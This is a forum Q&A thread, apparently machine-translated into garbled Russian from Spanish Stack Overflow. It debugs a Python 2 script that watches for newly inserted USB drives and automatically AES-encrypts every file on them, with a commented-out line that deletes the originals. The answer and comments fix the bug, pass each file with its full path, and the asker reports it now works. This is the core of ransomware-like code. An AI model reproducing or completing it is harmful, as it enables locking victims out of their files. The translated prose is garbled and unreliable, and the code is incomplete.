Код гремит в момент encriptar файлы, потому что он не может находить определенный маршрут

То, что я хочу сделать, что в момент encriptar файлы моей функции encrypt_file(str(encrypt_files)), переместив его маршрут с файлами гремит гром и он говорит мне, что не возможно: не моги находить определенный маршрут. https://es.stackoverflow.com/editing-help: Из чего проистекает это, и как он мог решать это?

from ctypes import windll
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
from Crypto import Random
import string
import time
import os, sys




def get_drives():
    drives = []
    bitmask = windll.kernel32.GetLogicalDrives()
    for letter in string.uppercase:
        if bitmask & 1:
            drives.append(letter)
        bitmask >>= 1
    return drives


def encrypt_file(filename):
    chunksize = 64 * 1024
    outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV = ''

    for i in range(16):
        IV += chr(random.randint(0, 0xFF))

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, "rb") as infile:
        with open(outFile, "wb") as outfile:
            outfile.write(filesize)
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break

                elif len(chunk) % 16 !=0:
                    chunk += ' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))


def list_files(path):
    files = []
    for name in os.listdir(path):
        if os.path.isfile(os.path.join(path, name)):
            files.append(name)
    return files 



if __name__ == '__main__':
    print 'Searching usb...'
    while True:
        before = set(get_drives())
        time.sleep(5)
        after = set(get_drives())
        drives = after - before
        delta = len(drives)
        if (delta):
            for drive in drives:
                if os.system("cd " + drive + ":") == 0:
                    newly_mounted = '%c:\\'%(drive)
                    encrypt_files = list_files(newly_mounted)
                    print "letter: "+newly_mounted
                    print "There were %d drives added: %s. Newly mounted drive letter is %s" % (delta, drives, newly_mounted)
                    for x in encrypt_files:
                        if os.path.basename(x).startswith("(encrypted)"):
                            print "%s is already encrypted" %str(x)
                            pass

                        else:
                            encrypt_file(str(encrypt_files))
                            print "Done encrypting %s" %str(x)
                            """os.remove(x) """
                else:
                    print "Sorry, I couldn't find any newly mounted drives."

output

Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\

Traceback (most recent call last):
  File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
    encrypt_file(str(encrypt_files))
  File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
    filesize = str(os.path.getsize(filename)).zfill(16)
  File "C:\Python27\lib\genericpath.py", line 57, in getsize
    return os.stat(filename).st_size
WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"

ошибка, заменив encrypt_files из-за x

Traceback (most recent call last):
  File "C:\Users\Aaron\Desktop\new\1.py", line 80, in <module>
    encrypt_file(x)
  File "C:\Users\Aaron\Desktop\new\1.py", line 25, in encrypt_file
    filesize = str(os.path.getsize(filename)).zfill(16)
  File "C:\Python27\lib\genericpath.py", line 57, in getsize
    return os.stat(filename).st_size
WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado: 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf'
0
задан 13.04.2017, 16:00
1 ответ

Сосредоточись на ошибке:

Traceback (most recent call last):
  File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
    encrypt_file(str(encrypt_files))
  File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
    filesize = str(os.path.getsize(filename)).zfill(16)
  File "C:\Python27\lib\genericpath.py", line 57, in getsize
    return os.stat(filename).st_size
WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"

Он говорит тебе, что он не смог делать что-то в списке элементов. В частности, попробуй делать следующее на списке:

str(os.path.getsize(filename))

Если мы смотрим, как он подходит близко до сих пор, мы видим, что он происходит из функции main, что, упрощая ее много, остается в:

encrypt_files = list_files(newly_mounted)
for x in encrypt_files:
    if os.path.basename(x).startswith("(encrypted)"):
        print "%s is already encrypted" %str(x)
        pass

    else:
        encrypt_file(str(encrypt_files))     # ¡AQUÍ pasas toda la lista!
        print "Done encrypting %s" %str(x)
        """os.remove(x) """

То, что происходит, состоит в том, что ты называешь список каждый раз, вместо того, чтобы предоставлять ему элемент в каждом цикле цикла:

for x in encrypt_files:
            encrypt_file(str(encrypt_files))
#                            ^^^^^^^^^^^^^

Как решение ты должен заменять переменную из-за x что относится к индивидуальному элементу на списке, который ты распространяешь:

for x in encrypt_files:
            encrypt_file(str(x))
#                            ^
1
ответ дан 24.11.2019, 12:14
  • 1
    я могу частично, если это было этим одиноким, которое, изменив мою переменную из-за x сейчас, дает мне, что ошибка того же самого, которая не может находить файл, но сейчас в ves всего списка такой 1 дает мне ошибку – Jazmin Estes 07.12.2016, 21:55
  • 2
    @JazminEstes кажись, что проблема сейчас - это перемещать его полный маршрут файла. – fedorqui 08.12.2016, 09:33
  • 3
    я заношу в список уже функционирую – Jazmin Estes 09.12.2016, 00:10
  • 4
    @JazminEstes qué хорошо, ¿ вот тем, что сказал я о полном маршруте? – fedorqui 11.12.2016, 16:39